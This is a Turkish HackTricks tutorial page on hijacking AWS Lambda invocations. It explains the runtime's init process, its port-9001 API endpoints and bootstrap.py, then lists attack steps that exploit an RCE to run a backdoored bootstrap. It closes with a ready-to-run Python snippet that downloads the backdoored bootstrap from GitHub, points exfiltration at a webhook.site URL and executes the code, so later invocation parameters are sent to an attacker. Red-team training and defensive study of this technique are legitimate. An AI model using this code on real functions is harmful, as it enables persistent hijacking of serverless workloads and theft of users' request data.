AWS - Lambda İsteklerini Çal

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Lambda Akışı

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

  1. Slicer, invocation’ları init sürecine gönderen konteyner dışındaki bir süreçtir.
  2. Init süreci, bazı ilginç uç noktaları açığa çıkaran 9001 portunu dinler:
  • /2018-06-01/runtime/invocation/next – bir sonraki invocation olayını al
  • /2018-06-01/runtime/invocation/{invoke-id}/response – invoke için handler yanıtını döndür
  • /2018-06-01/runtime/invocation/{invoke-id}/error – bir yürütme hatası döndür
  1. bootstrap.py, init sürecinden invocation’ları alan bir döngüye sahiptir ve bunları işlemek için kullanıcı kodunu çağırır (/next).
  2. Son olarak, bootstrap.py init’e yanıtı gönderir.

Bootstrap’ın kullanıcı kodunu bir modül olarak yüklediğini unutmayın, bu nedenle kullanıcı kodu tarafından gerçekleştirilen herhangi bir kod yürütmesi aslında bu süreçte gerçekleşmektedir.

Lambda İsteklerini Çalmak

Bu saldırının amacı, kullanıcı kodunun, savunmasız isteği işleyen bootstrap.py süreci içinde kötü niyetli bir bootstrap.py süreci çalıştırmasını sağlamaktır. Bu şekilde, kötü niyetli bootstrap süreci, istekleri işlemek için init süreciyle iletişim kurmaya başlayacakken, meşru bootstrap, kötü niyetli olanı çalıştırarak tuzağa düşürülmüş olacaktır, böylece init sürecine istek sormayacaktır.

Bu, kullanıcı kodunun meşru bootstrap.py süreci tarafından yürütüldüğü için basit bir görevdir. Böylece saldırgan:

  • Mevcut invocation’ın sahte bir sonucunu init sürecine gönderebilir, böylece init, bootstrap sürecinin daha fazla invocation beklediğini düşünebilir.
  • /${invoke-id}/response adresine bir istek gönderilmelidir.
  • Invoke-id, meşru bootstrap.py sürecinin yığınından inspect python modülünü kullanarak elde edilebilir (burada önerildiği gibi) veya sadece tekrar /2018-06-01/runtime/invocation/next adresine istekte bulunarak elde edilebilir (burada önerildiği gibi).
  • Bir sonraki invocation’ları yönetecek kötü niyetli bir boostrap.py çalıştırın.
  • Gizlilik amacıyla, lambda invocation parametrelerini saldırganın kontrolündeki bir C2’ye göndermek ve ardından istekleri normal şekilde işlemek mümkündür.
  • Bu saldırı için, bootstrap.py’nin orijinal kodunu sistemden veya github üzerinden almak, kötü niyetli kodu eklemek ve mevcut lambda invocation’ından çalıştırmak yeterlidir.

Saldırı Adımları

  1. Bir RCE açığı bulun.
  2. Kötü niyetli bir bootstrap oluşturun (örneğin, https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py).
  3. Kötü niyetli bootstrap’ı çalıştırın.

Bu eylemleri kolayca gerçekleştirebilirsiniz:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Daha fazla bilgi için kontrol edin https://github.com/carlospolop/lambda_bootstrap_switcher

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin